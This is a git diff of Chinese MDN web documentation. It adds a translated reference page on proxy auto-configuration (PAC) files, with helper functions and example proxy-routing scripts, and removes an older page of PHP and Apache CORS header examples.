isInNet()isResolvable()dnsResolve() 应该谨慎使用,这些函数会进行  DNS 查询。其他函数则大都是字符处理函数,不需要 DNS 。如果通过代理连接,代理本身也会进行一次 DNS 查询,这产生了额外的 DNS 请求。并且绝大多数情况下,不需要这些函数来实现特定的功能。

-
- -

历史与实现

- -

Proxy auto-config was introduced into Netscape Navigator 2.0 in the late 1990s, at the same time when JavaScript was introduced. Open-sourcing Netscape eventually lead to Firefox itself.

- -

The most "original" implementation of PAC and its JavaScript libraries is, therefore, nsProxyAutoConfig.js found in early versions of Firefox. These utilities are found in many other open-source systems including Chromium. Firefox later integrated the file into ProxyAutoConfig.cpp as a string literal.

- -

Microsoft in general made its own implementation. There used to be some problems with their libraries, but most are resolved by now. They have defined some new "Ex" suffixed functions around the address handling parts to support IPv6. The feature is supported by Chromium, but not yet by Firefox (bugzilla #558253).

diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html new file mode 100644 index 0000000000..e64b1758ff --- /dev/null +++ b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html @@ -0,0 +1,729 @@ +--- +title: 代理自动配置文件(PAC)文件 +slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +--- +
{{HTTPSidebar}}
+ +

代理自动配置(PAC)文件是一个 JavaScript 脚本,其核心是一个 JavaScript 函数,用来决定网页浏览请求(HTTP、HTTPS,和 FTP)应当直连目标地址,还是被转发给一个网页代理服务器并通过代理连接。PAC 文件中的核心 JavaScript 函数通常是这样定义的:

+ +
function FindProxyForURL(url, host) {
+  // ...
+}
+ +

语法

+ +
function FindProxyForURL(url, host)
+ +

参数

+ +
+
url
+
要访问的 URL。URL 中类似 https:// 这样的的路径和查询组件已被去除。在 Chrome 浏览器(版本 52 至 73)中, 你可以通过设置 PacHttpsUrlStrippingEnabledfalse 来禁止这种行为,或者以 --unsafe-pac-url 命令行参数启动(自 Chrome 74 起,仅命令行参数有效,且在 Chrome 75 及之后的版本中无法禁用这种行为;至于 Chrome 81,路径剥离对 HTTP URL 不适用,但有意改变这一行为以适应 HTTPS);在 Firefox 浏览器中,对应的选项是 network.proxy.autoconfig_url.include_path
+
host
+
从 URL 中提取得到的主机名。这只是为了方便;它与 :// 之后到第一个 :/ 之前的字符串相同。端口号不包括在此参数中,必要时可以自行从 URL 中提取。
+
+ +

描述

+ +

返回一个描述了代理设置的字符串。字符串的格式按照返回值格式进行定义。

+ +

返回值格式

+ +
    +
  • FindProxyForURL() 函数返回一个字符串
  • +
  • 如果那个字符串为空,则不使用任何代理
  • +
  • 字符串中可以包含如下任意数量的“代理配置块”(building blocks),用分号分隔:
  • +
+ +
+
DIRECT
+
直连,不经过任何代理
+
PROXY host:port
+
HTTP 代理
+
SOCKS host:port
+
SOCKS 代理
+
+ +

最近版本的 Firefox 同时还支持:

+ +
+
HTTP host:port
+
HTTP 代理
+
HTTPS host:port
+
HTTPS 代理
+
SOCKS4 host:port
+
SOCKS5 host:port
+
SOCKS 代理(同时指定 SOCKS 版本)
+
+ +

如果有多个使用分号分隔的代理配置,将使用最左边的配置,除非 Firefox 无法与其中指定的代理服务器建立连接。在这种情况下,将使用下一个配置,等等。

+ +

30分钟后,浏览器将自动重试之前没有响应的代理。下一次尝试则将在一小时后开始,再下一次是一个半小时。每次尝试后,间隔会增加 30 分钟。

+ +

如果所有代理都挂了,并且最后没有指定直连配置项(DIRECT),浏览器将询问是否应该暂时忽略代理,并尝试直接连接。20 分钟后,浏览器会再次询问是否应该重试代理,40 分钟后会再问一次。每次询问后,间隔会增加 20 分钟。

+ +

例子

+ +
+
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081
+
主代理是 w3proxy:8080;如果它出现故障,则使用 mozilla:8081,直到主代理恢复。
+
PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081; DIRECT
+
和上面的基本一样,但如果两个代理都挂了,则自动改为直连。(在上面的例子中,Netscape 浏览器将询问用户是否要改用直接连接;在本例中,则不需要用户干预。)
+
PROXY w3proxy.netscape.com:8080; SOCKS socks:1080
+
如果主代理出现问题,则使用 SOCKS 连接。
+
+ +

自动配置文件应当被保存为一个以 .pac 作为文件拓展名的文件,比如:

+ +
proxy.pac
+ +

其 MIME 类型应被设置为:

+ +
application/x-ns-proxy-autoconfig
+ +

接下来,你应当配置你的服务器,让文件拓展名 .pac 映射到如上所示的 MIME 类型。

+ +
+

注意:

+ +
    +
  • PAC 文件的 JavaScript 代码应该总是单独保存到 .pac 文件中,而不是嵌入到 HTML 文件或是任何其他文件之中。
  • +
  • 本文档末尾的示例都是完整的,使用时不需要增加任何其它代码,直接保存应用即可。(当然,你需要改成你自己的域名/子域)
  • +
+
+ +

预定义的函数与环境

+ +

这些函数可以在 PAC 文件中使用:

+ + + +
+

注意: pactester ( pacparser 的一部分) 可以用来检测语法是否符合要求,使用方法如下:

+ +
    +
  • PAC文件保存为 proxy.pac
  • +
  • 命令行输入: pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org。 +
      +
    • 该命令中, host 参数为 www.mozilla.orgurl 参数为http://www.mozilla.org
    • +
    +
  • +
+
+ +

isPlainHostName()

+ +

语法

+ +
isPlainHostName(host)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名(端口除外)。
+
+ +

描述

+ +

当且仅当主机名中没有域名时为真(没有分隔域名的点)。

+ +

例子

+ +
isPlainHostName("www.mozilla.org") // false
+isPlainHostName("www") // true
+
+ +

dnsDomainIs()

+ +

语法

+ +
dnsDomainIs(host, domain)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
domain
+
域名/部分域名
+
+ +

描述

+ +

如果匹配,返回true。

+ +

例子

+ +
dnsDomainIs("www.mozilla.org", ".mozilla.org") // true
+dnsDomainIs("www", ".mozilla.org") // false
+
+ +

localHostOrDomainIs()

+ +

语法

+ +
localHostOrDomainIs(host, hostdom)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
hostdom
+
完整域名
+
+ +

描述

+ +

完整域名匹配或主机名(如www)匹配时返回true。

+ +

例子

+ +
localHostOrDomainIs("www.mozilla.org" , "www.mozilla.org") // true (exact match)
+localHostOrDomainIs("www"             , "www.mozilla.org") // true (hostname match, domain not specified)
+localHostOrDomainIs("www.google.com"  , "www.mozilla.org") // false (domain name mismatch)
+localHostOrDomainIs("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch)
+ +

isResolvable()

+ +

语法

+ +
isResolvable(host)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
+ +

尝试解析主机名。如果成功,则返回true。

+ +

例子:

+ +
isResolvable("www.mozilla.org") // true
+
+ +

isInNet()

+ +

语法

+ +
isInNet(host, pattern, mask)
+ +

参数

+ +
+
host
+
一个 DNS 主机名,或者一个 IP 地址。如果传入了主机名,则会被此函数解析为 IP 地址,再进行判断。
+
pattern
+
点号(.)分隔的IP地址。
+
mask
+
子网掩码,0 代表忽略,255 代表完全匹配。
+
+ +

仅在 host 属于由 pattern 和 mask 指定的ip地址段时返回true。

+ +

Pattern and mask specification is done the same way as for SOCKS configuration.

+ +

例子:

+ +
function alert_eval(str) { alert(str + ' is ' + eval(str)) }
+function FindProxyForURL(url, host) {
+  alert_eval('isInNet(host, "63.245.213.24", "255.255.255.255")')
+  // "PAC-alert: isInNet(host, "63.245.213.24", "255.255.255.255") is true"
+}
+
+ +

dnsResolve()

+ +
dnsResolve(host)
+ +

参数

+ +
+
host
+
要解析的主机名。
+
+ +

将给定的 DNS 主机名解析为 IP 地址并返回为标准格式的 IP 地址字符串。

+ +

例子

+ +
dnsResolve("www.mozilla.org"); // returns the string "104.16.41.2"
+ +

convert_addr()

+ +

语法

+ +
convert_addr(ipaddr)
+ +

参数

+ +
+
ipaddr
+
点号(.)分隔的IP地址或子网掩码。
+
+ +

将IP地址转换为32位整数地址。

+ +

例子

+ +
convert_addr("104.16.41.2"); // returns the decimal number 1745889538
+ +

myIpAddress()

+ +

语法

+ +
myIpAddress()
+ +

参数

+ +

(无)

+ +

获取当前 Firefox 所在设备的 IP 地址,并返回为标准格式的 IP 地址字符串。

+ +
+

myIpAddress() 返回与 nslookup localhost 命令在 Linux 主机上的执行结果相同的 IP 地址。不会返回公网 IP 地址。

+
+ +

例子

+ +
myIpAddress() //returns the string "127.0.1.1" if you were running Firefox on that localhost
+ +

dnsDomainLevels()

+ +

语法

+ +
dnsDomainLevels(host)
+ +

参数

+ +
+
host
+
从 URL 中得到的主机名。
+
+ +

返回主机名中DNS域名级别的整数数量(域名中包含点的个数)。

+ +

例子:

+ +
dnsDomainLevels("www");             // 0
+dnsDomainLevels("mozilla.org");     // 1
+dnsDomainLevels("www.mozilla.org"); // 2
+
+ +

shExpMatch()

+ +

语法

+ +
shExpMatch(str, shexp)
+ +

参数

+ +
+
str
+
任何要比较的字符串(如URL或主机名)。
+
shexp
+
要用来对比的 Shell 表达式。
+
+ +

如果字符串匹配指定的Shell表达式则返回true。

+ +

注意,本函数接收 shell glob 表达式而非正则表达式。*? 始终被支持,[characters][^characters] 只在包括 Firefox 在内的某些实现上被支持。这主要是由于 glob 表达式在内部被翻译为正则表达式。如要使用正则表达式语法,请直接使用 RegExp 类。

+ +

例子

+ +
shExpMatch("http://home.netscape.com/people/ari/index.html"     , "*/ari/*"); // returns true
+shExpMatch("http://home.netscape.com/people/montulli/index.html", "*/ari/*"); // returns false
+ +

weekdayRange()

+ +

语法

+ +
weekdayRange(wd1, wd2, [gmt])
+ +
+

注意: (Before Firefox 49) wd1 must be less than wd2 if you want the function to evaluate these parameters as a range. See the warning below.

+
+ +

参数

+ +
+
wd1 和 wd2
+
One of the ordered weekday strings:
+
+
"SUN"|"MON"|"TUE"|"WED"|"THU"|"FRI"|"SAT"
+
+
gmt
+
可以指定为字符串 "GMT",或留白不指定。
+
+ +

Only the first parameter is mandatory. Either the second, the third, or both may be left out.

+ +

If only one parameter is present, the function returns a value of true on the weekday that the parameter represents. If the string "GMT" is specified as a second parameter, times are taken to be in GMT. Otherwise, they are assumed to be in the local timezone.

+ +

If both wd1 and wd1 are defined, the condition is true if the current weekday is in between those two ordered weekdays. Bounds are inclusive, but the bounds are ordered. 如果指定了 "GMT" 参数,则使用 GMT 时区,否则使用浏览器获取到的平台本地时区。

+ +
+

The order of the days matters; Before Firefox 49, weekdayRange("SUN", "SAT") will always evaluate to true. Now weekdayRange("WED", "SUN") will only evaluate true if the current day is Wednesday or Sunday.

+
+ +

例子

+ +
weekdayRange("MON", "FRI");        // returns true Monday through Friday (local timezone)
+weekdayRange("MON", "FRI", "GMT"); // returns true Monday through Friday (GMT timezone)
+weekdayRange("SAT");               // returns true on Saturdays local time
+weekdayRange("SAT", "GMT");        // returns true on Saturdays GMT time
+weekdayRange("FRI", "MON");        // returns true Friday and Monday only (note, order does matter!)
+ +

dateRange()

+ +

语法

+ +
dateRange(<day> | <month> | <year>, [gmt])  // ambiguity is resolved by assuming year is greater than 31
+dateRange(<day1>, <day2>, [gmt])
+dateRange(<month1>, <month2>, [gmt])
+dateRange(<year1>, <year2>, [gmt])
+dateRange(<day1>, <month1>, <day2>, <month2>, [gmt])
+dateRange(<month1>, <year1>, <month2>, <year2>, [gmt])
+dateRange(<day1>, <month1>, <year1>, <day2>, <month2>, <year2>, [gmt])
+ +
+

注意: (Before Firefox 49) day1 must be less than day2, month1 must be less than month2, and year1 must be less than year2 if you want the function to evaluate these parameters as a range. See the warning below.

+
+ +

参数

+ +
+
day
+
Is the ordered day of the month between 1 and 31 (as an integer).
+
+ +
1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31
+ +
+
month
+
Is one of the ordered month strings below.
+
+ +
"JAN"|"FEB"|"MAR"|"APR"|"MAY"|"JUN"|"JUL"|"AUG"|"SEP"|"OCT"|"NOV"|"DEC"
+ +
+
year
+
Is the ordered full year integer number. For example, 2016 (not 16).
+
gmt
+
可以指定为字符串 "GMT",代表使用 GMT 时区进行比较;或者留白不指定,代表使用浏览器获取到的平台本地时区。
+
+ +

If only a single value is specified (from each category: day, month, year), the function returns a true value only on days that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

+ +
+

The order of the days, months, and years matter; Before Firefox 49, dateRange("JAN", "DEC") will always evaluate to true. Now dateRange("DEC", "JAN") will only evaluate true if the current month is December or January.

+
+ +

例子

+ +
dateRange(1);            // returns true on the first day of each month, local timezone
+dateRange(1, "GMT")      // returns true on the first day of each month, GMT timezone
+dateRange(1, 15);        // returns true on the first half of each month
+dateRange(24, "DEC");    // returns true on 24th of December each year
+dateRange("JAN", "MAR"); // returns true on the first quarter of the year
+
+dateRange(1, "JUN", 15, "AUG");
+// returns true from June 1st until August 15th, each year
+// (including June 1st and August 15th)
+
+dateRange(1, "JUN", 1995, 15, "AUG", 1995);
+// returns true from June 1st, 1995, until August 15th, same year
+
+dateRange("OCT", 1995, "MAR", 1996);
+// returns true from October 1995 until March 1996
+// (including the entire month of October 1995 and March 1996)
+
+dateRange(1995);
+// returns true during the entire year of 1995
+
+dateRange(1995, 1997);
+// returns true from beginning of year 1995 until the end of year 1997
+ +

timeRange()

+ +

语法

+ +
// The full range of expansions is analogous to dateRange.
+timeRange(<hour1>, <min1>, <sec1>, <hour2>, <min2>, <sec2>, [gmt])
+ +
+

注意: (Before Firefox 49) the category hour1, min1, sec1 must be less than the category hour2, min2, sec2 if you want the function to evaluate these parameters as a range. See the warning below.

+
+ +

参数

+ +
+
hour
+
小时,区间为 0 到 23。(0 是午夜 0 点,1 是上午 1 点,11 是正午 12 点,23 是下午 11 点。)
+
min
+
分钟,区间为 0 到 59。
+
sec
+
 秒,区间为 0 到 59。
+
gmt
+
可以指定为字符串 "GMT",代表使用 GMT 时区,或者留白不指定,代表使用浏览器获取到的平台本地时区。
+
+ +

If only a single value is specified (from each category: hour, minute, second), the function returns a true value only at times that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

+ +
+

The order of the hour, minute, second matter; Before Firefox 49, timeRange(0, 23) will always evaluate to true. Now timeRange(23, 0) will only evaluate true if the current hour is 23:00 or midnight.

+
+ +

例子

+ +
timerange(12);                // returns true from noon to 1pm
+timerange(12, 13);            // returns true from noon to 1pm
+timerange(12, "GMT");         // returns true from noon to 1pm, in GMT timezone
+timerange(9, 17);             // returns true from 9am to 5pm
+timerange(8, 30, 17, 00);     // returns true from 8:30am to 5:00pm
+timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds past midnight
+ +

例 1

+ +

对除本地主机以外的所有连接使用代理

+ +
+

注意: 以下所有示例都只针对特定需求并未经测试

+
+ +

所有并非完全限定的主机名,以及在本地域内的主机名,都将直接连接。其他的会通过w3proxy:8080 连接。如果代理不可用,则自动回退到直连。

+ +
function FindProxyForURL(url, host) {
+  if (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) {
+    return "DIRECT";
+  } else {
+    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
+  }
+}
+ +
+

注意: 这是只有一个代理服务器情况下最简单高效的自动配置脚本。

+
+ +

例 2

+ +

和例 1 一样,但是对防火墙外的本地服务器使用代理

+ +

如果有主机(例如生产环境中的 Web 服务器)属于本地域但在防火墙外,仅可通过代理访问,可以通过 localHostOrDomainIs() 来为上述主机添加例外:

+ +
function FindProxyForURL(url, host) {
+  if (
+    (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) &&
+    !localHostOrDomainIs(host, "www.mozilla.org") &&
+    !localHostOrDoaminIs(host, "merchant.mozilla.org")
+  ) {
+        return "DIRECT";
+  } else {
+    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
+  }
+}
+ +

以上示例为 mozilla.org 域外所有主机使用代理,同时添加了例外使 www.mozilla.orgmerchant.mozilla.org 也使用代理。

+ +
+

注意:以上例外的顺序影响效率:localHostOrDomainIs() 只在 URL 位于本地域内时执行,注意位于 || 外和  && 前的括号。

+
+ +

例 3

+ +

如果无法解析域名,则使用代理

+ +

这个示例可用于网络中的DNS服务器只解析内部主机名的情况,其功能是只对不能成功解析的域名使用代理。

+ +
function FindProxyForURL(url, host) {
+  if (isResolvable(host))
+    return "DIRECT";
+  else
+    return "PROXY proxy.mydomain.com:8080";
+}
+ +

以上代码每一次均会进行DNS查询,这可以通过添加其他一些规则,只在其他规则不能给出结果时进行DNS查询来解决:

+ +
function FindProxyForURL(url, host) {
+  if (
+    isPlainHostName(host) ||
+    dnsDomainIs(host, ".mydomain.com") ||
+    isResolvable(host)
+  ) {
+    return "DIRECT";
+  } else {
+    return "PROXY proxy.mydomain.com:8080";
+  }
+}
+ +

例 4

+ +

基于网域(Subnet)的选择方案

+ +

在此示例中,所有同一子网内的主机均直接连接,其他主机则通过代理连接:

+ +
function FindProxyForURL(url, host) {
+  if (isInNet(host, "198.95.0.0", "255.255.0.0"))
+    return "DIRECT";
+  else
+    return "PROXY proxy.mydomain.com:8080";
+}
+ +

同样的,对 DNS 的使用可以通过添加冗余的规则来最小化:

+ +
function FindProxyForURL(url, host) {
+  if (
+    isPlainHostName(host) ||
+    dnsDomainIs(host, ".mydomain.com") ||
+    isInNet(host, "198.95.0.0", "255.255.0.0")
+  ) {
+    return "DIRECT";
+  } else {
+    return "PROXY proxy.mydomain.com:8080";
+  }
+}
+ +

例 5

+ +

负载均衡 / 基于 URL 模式(pattern)的路由规划

+ +

This example is more sophisticated. There are four (4) proxy servers; one of them is a hot stand-by for all of the other ones, so if any of the remaining three goes down the fourth one will take over. Furthermore, the three remaining proxy servers share the load based on URL patterns, which makes their caching more effective (there is only one copy of any document on the three servers - as opposed to one copy on each of them). The load is distributed like this:

+ + + + + + + + + + + + + + + + + + + + + + + + +
代理用途
#1.com 域名
#2.edu 域名
#3所有其他域名
#4备用(原文:hot stand-by,活跃备用、热备用)
+ +

All local accesses are desired to be direct. All proxy servers run on the port 8080 (they don't need to, you can just change your port but remember to modify your configuations on both side). Note how strings can be concatenated with the + operator in JavaScript.

+ +
function FindProxyForURL(url, host) {
+
+  if (isPlainHostName(host) || dnsDomainIs(host, ".mydomain.com"))
+    return "DIRECT";
+
+  else if (shExpMatch(host, "*.com"))
+    return "PROXY proxy1.mydomain.com:8080; " +
+           "PROXY proxy4.mydomain.com:8080";
+
+  else if (shExpMatch(host, "*.edu"))
+    return "PROXY proxy2.mydomain.com:8080; " +
+           "PROXY proxy4.mydomain.com:8080";
+
+  else
+    return "PROXY proxy3.mydomain.com:8080; " +
+           "PROXY proxy4.mydomain.com:8080";
+}
+ +

例 6

+ +

为特定协议设置代理

+ +

大多数 JavaScript 标准功能在 FindProxyForURL() 中可用。作为例子,我们通过{{jsxref("String.prototype.startsWith()", "startsWith()")}} 为不同的协议设置不同的代理。

+ +
function FindProxyForURL(url, host) {
+
+  if (url.startsWith("http:"))
+    return "PROXY http-proxy.mydomain.com:8080";
+
+  else if (url.startsWith("ftp:"))
+    return "PROXY ftp-proxy.mydomain.com:8080";
+
+  else if (url.startsWith(“gopher:"))
+    return "PROXY gopher-proxy.mydomain.com:8080";
+
+  else if (url.startsWith("https:") || url.startsWith("snews:"))
+    return "PROXY security-proxy.mydomain.com:8080";
+
+  else
+    return "DIRECT";
+
+}
+ +
+

注意: shExpMatch() 也可以做到,例如:

+ +
// ...
+if (shExpMatch(url, "http:*")) {
+  return "PROXY http-proxy.mydomain.com:8080";
+}
+// ...
+
+
+ +
+

自动配置脚本也可以在服务端动态生成。这在某些情况下比较有用,例如根据客户端地址指定不同的代理服务器。

+ +

isInNet()isResolvable()dnsResolve() 应该谨慎使用,这些函数会进行  DNS 查询。其他函数则大都是字符处理函数,不需要 DNS 。如果通过代理连接,代理本身也会进行一次 DNS 查询,这产生了额外的 DNS 请求。并且绝大多数情况下,不需要这些函数来实现特定的功能。

+
+ +

历史与实现

+ +

Proxy auto-config was introduced into Netscape Navigator 2.0 in the late 1990s, at the same time when JavaScript was introduced. Open-sourcing Netscape eventually lead to Firefox itself.

+ +

The most "original" implementation of PAC and its JavaScript libraries is, therefore, nsProxyAutoConfig.js found in early versions of Firefox. These utilities are found in many other open-source systems including Chromium. Firefox later integrated the file into ProxyAutoConfig.cpp as a string literal.

+ +

Microsoft in general made its own implementation. There used to be some problems with their libraries, but most are resolved by now. They have defined some new "Ex" suffixed functions around the address handling parts to support IPv6. The feature is supported by Chromium, but not yet by Firefox (bugzilla #558253).

diff --git a/files/zh-cn/web/http/server-side_access_control/index.html b/files/zh-cn/web/http/server-side_access_control/index.html deleted file mode 100644 index 50a52b3405..0000000000 --- a/files/zh-cn/web/http/server-side_access_control/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Server-Side Access Control -slug: Web/HTTP/Server-Side_Access_Control -tags: - - AJAX - - CORS - - HTTP - - PHP -translation_of: Web/HTTP/CORS -translation_of_original: Web/HTTP/Server-Side_Access_Control ---- -

{{HTTPSidebar}}

- -

浏览器会针对从 {{domxref("XMLHttpRequest")}} 或Fetch API中发起的跨网站请求发送特定的HTTP标头。它还希望看到使用跨站点响应发送回的特定HTTP标头。这些标头的概述,包括启动请求和处理来自服务器的响应的示例JavaScript代码, 以及每个头的讨论,可以在HTTP访问控制(CORS)文章中找到,应该作为本文的配套文章阅读。

- -

HTTP访问控制文章是很好的使用指南。本文介绍利用PHP处理访问控制请求和制定访问控制响应。本文的目标读者是服务器程序员或管理员。虽然在PHP代码示例所示,类似的概念适用于ASP.net,Perl、Python、Java等;一般来说,这些概念可以应用于任何服务器端编程环境处理HTTP请求和动态制定的HTTP响应。

- -

讨论HTTP标头

- -

了解HTTP 头部信息, 建议先阅读这篇文章 covering the HTTP headers used by both clients (such as Firefox 3.5 and beyond) and servers

- -
 
- -

工作代码示例

- -

随后的章节中PHP代码(和JavaScript调用服务器)可查看相关代码,这些代码在实现了XMLHttpRequest的浏览器上都可运行,像Firefox 3.5及以上。

- -
 
- -

简单的跨站请求

- -

简单的访问控制请求 在下列情况下会被发起:

- -
    -
  • 请求方式为 HTTP/1.1 GET 或者 POST,如果是POST,则请求的Content-Type为以下之一: application/x-www-form-urlencodedmultipart/form-data, 或text/plain
  • -
  • 在请求中,不会发送自定义的头部(如X-Modified)
  • -
- -

以下情况,请求会返回相关响应信息

- -
    -
  • 如果资源是允许公开访问的(就像任何允许GET访问的 HTTP资源),返回Access-Control-Allow-Origin:*头信息就足够了,除非是一些需要Cookies和HTTP身份验证信息的请求。
  • -
  • -
    如果资源访问被限制基于相同的域名,或者如果要访问的资源需要凭证(或设置凭证),那么就有必要对请求头信息中的ORIGIN进行过滤,或者至少响应请求的来源(例如Access-Control-Allow-Origin:http://arunranga.com)。另外,将发送Access-Control-Allow-Credentials:TRUE头信息,这在后续部分将进行讨论。
    -
  • -
- -

 简单的访问控制请求 介绍了在客户端和服务端进行信息交换的HEADER.  下面是一段用来处理简单请求的PHP代码。

- -
<?php
-
-// 我们将只授予 arunranga.com 域的访问权限,因为我们认为它通过 application/xml 方式来访问这些资源是安全的。
-
-if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-{
-
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Content-type: application/xml');
-    readfile('arunerDotNetResource.xml');
-}
-else
-{
-header('Content-Type: text/html');
-echo "<html>";
-echo "<head>";
-echo "   <title>Another Resource</title>";
-echo "</head>";
-echo "<body>",
-    "<p>This resource behaves two-fold:";
-echo "<ul>",
-        "<li>If accessed from <code>http://arunranga.com</code> it returns an XML document</li>";
-echo " <li>If accessed from any other origin including from simply typing in the URL into the browser's address bar,";
-echo "you get this HTML document</li>",
-    "</ul>",
-"</body>",
-"</html>";
-}
-?>
-
- -

上面的代码通过检查浏览器发送的 ORIGIN 头部信息(通过 $_SERVER['HTTP_ORIGIN'] ) 是否匹配 'http://arunranga.com' 得知,如果是,返回 Access-Control-Allow-Origin: http://arunranga.com 。如果你的浏览器支持访问控制,你可以访问 这里 .

- -

预请求

- -

预请求 发生在下列情况中:

- -
    -
  • 使用GET或POST以外的方法;利用POST发送application/x-www-form-urlencodedmultipart/form-data, or text/plain之外的Content-Type;例如,post body的Content-type为application/xml
  • -
  • 发送自定义的头信息,如x-pingaruner
  • -
- -

预请求访问控制 这篇文章介绍了在客户端和服务器间进行交换的头信息,响应preflight requests请求的服务器资源会有这些动作:

- -
    -
  •  基于 ORIGIN 进行过滤
  • -
  •  preflight请求的响应内容,包括必要的 Access-Control-Allow-Methods, Access-Control-Allow-Headers (保证系统正常运行),如果需要凭据的话,也会包括 Access-Control-Allow-Credentials 头信息
  • -
  • 响应实际请求,包括处理 POST数据等。
  • -
- -

下面是相关的PHP内容, preflighted request:

- -
<?php
-if($_SERVER['REQUEST_METHOD'] == "GET")
-{
-    header('Content-Type: text/plain');
-    echo "This HTTP resource is designed to handle POSTed XML input from arunranga.com and not be retrieved with GET";
-
-}
-elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS")
-{
-    // 告诉客户端我们支持来自 arunranga.com 的请求并且预请求有效期将仅有20天
-    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-    {
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
-    header('Access-Control-Allow-Headers: X-PINGARUNER');
-    header('Access-Control-Max-Age: 1728000');
-    header("Content-Length: 0");
-    header("Content-Type: text/plain");
-    //exit(0);
-    }
-    else
-    {
-    header("HTTP/1.1 403 Access Forbidden");
-    header("Content-Type: text/plain");
-    echo "You cannot repeat this request";
-
-    }
-}
-elseif($_SERVER['REQUEST_METHOD'] == "POST")
-{
-    /* 通过首先获得XML传送过来的blob来处理POST请求,然后做一些处理, 最后将结果返回客户端
-    */
-    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-    {
-            $postData = file_get_contents('php://input');
-            $document = simplexml_load_string($postData);
-
-            // 对POST过来的数据进行一些处理
-
-            $ping = $_SERVER['HTTP_X_PINGARUNER'];
-
-
-            header('Access-Control-Allow-Origin: http://arunranga.com');
-            header('Content-Type: text/plain');
-            echo // 处理之后的一些响应
-    }
-    else
-        die("POSTing Only Allowed from arunranga.com");
-}
-else
-    die("No Other Methods Allowed");
-
-?>
-
- -

可以看到,就像POST一样,针对OPTIONS preflight请求,同样返回对应的头信息。这样 以来,处理preflight就像处理普通的request请求一样,在针对OPTIONS请求的响应信息中,服务器通过客户端,实际的请求可以用POST的形式发送,同时可附加X-PINGARUNERP这样的头信息。如果浏览器支持的话,可访问 这里

- -

凭证请求

- -

带凭据的请求,将Cookies和HTTP认证信息一起发送出去的跨域请求,根据请求方式,可以是 Simple 或 Preflighted,

- -

发送 简单请求 时, Firefox 3.5 (或以上)会发送带Cookies信息的请求,  (如果withCredentials 设以true). 如果服务器响应真的是可信任的, 客户端接受并进行输出。 在 预请求 中,服务器可以针对 OPTIONS 请求,返回 Access-Control-Allow-Credentials: true 信息

- -

下面是处理请求的PHP内容:

- -
<?php
-
-if($_SERVER['REQUEST_METHOD'] == "GET")
-{
-
-    // First See if There Is a Cookie
-    //$pageAccess = $_COOKIE['pageAccess'];
-    if (!isset($_COOKIE["pageAccess"])) {
-
-    setcookie("pageAccess", 1, time()+2592000);
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Cache-Control: no-cache');
-    header('Pragma: no-cache');
-    header('Access-Control-Allow-Credentials: true');
-    header('Content-Type: text/plain');
-    echo 'I do not know you or anyone like you so I am going to mark you with a Cookie :-)';
-
-    }
-    else
-    {
-
-    $accesses = $_COOKIE['pageAccess'];
-    setcookie('pageAccess', ++$accesses, time()+2592000);
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Access-Control-Allow-Credentials: true');
-    header('Cache-Control: no-cache');
-    header('Pragma: no-cache');
-    header('Content-Type: text/plain');
-    echo 'Hello -- I know you or something a lot like you!  You have been to ', $_SERVER['SERVER_NAME'], ' at least ', $accesses-1, ' time(s) before!';
-    }
-
-}
-elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS")
-{
-    // Tell the Client this preflight holds good for only 20 days
-    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-    {
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Access-Control-Allow-Methods: GET, OPTIONS');
-    header('Access-Control-Allow-Credentials: true');
-    header('Access-Control-Max-Age: 1728000');
-    header("Content-Length: 0");
-    header("Content-Type: text/plain");
-    //exit(0);
-    }
-    else
-    {
-    header("HTTP/1.1 403 Access Forbidden");
-    header("Content-Type: text/plain");
-    echo "You cannot repeat this request";
-
-    }
-}
-else
-    die("This HTTP Resource can ONLY be accessed with GET or OPTIONS");
-
-
-
-?>
-
- -

需要注意的是,在带凭据请求中, Access-Control-Allow-Origin: 头不能是通配符 "*",必须是一个有效的域名。  可参考这里 running here

- -

Apache示例

- -

限制对某些URI的访问

- -

最有效的方法之一,利用Apache rewrite, 环境变量,还有headers使Access-Control-Allow-* 对某些特定的URI生效,比如,以无认证信息形式利用GET跨域请求api(.*).json。

- -
RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True]
-Header set Access-Control-Allow-Origin "*" env=CORS
-Header set Access-Control-Allow-Methods "GET" env=CORS
-Header set Access-Control-Allow-Credentials "false" env=CORS
-
- -

参见

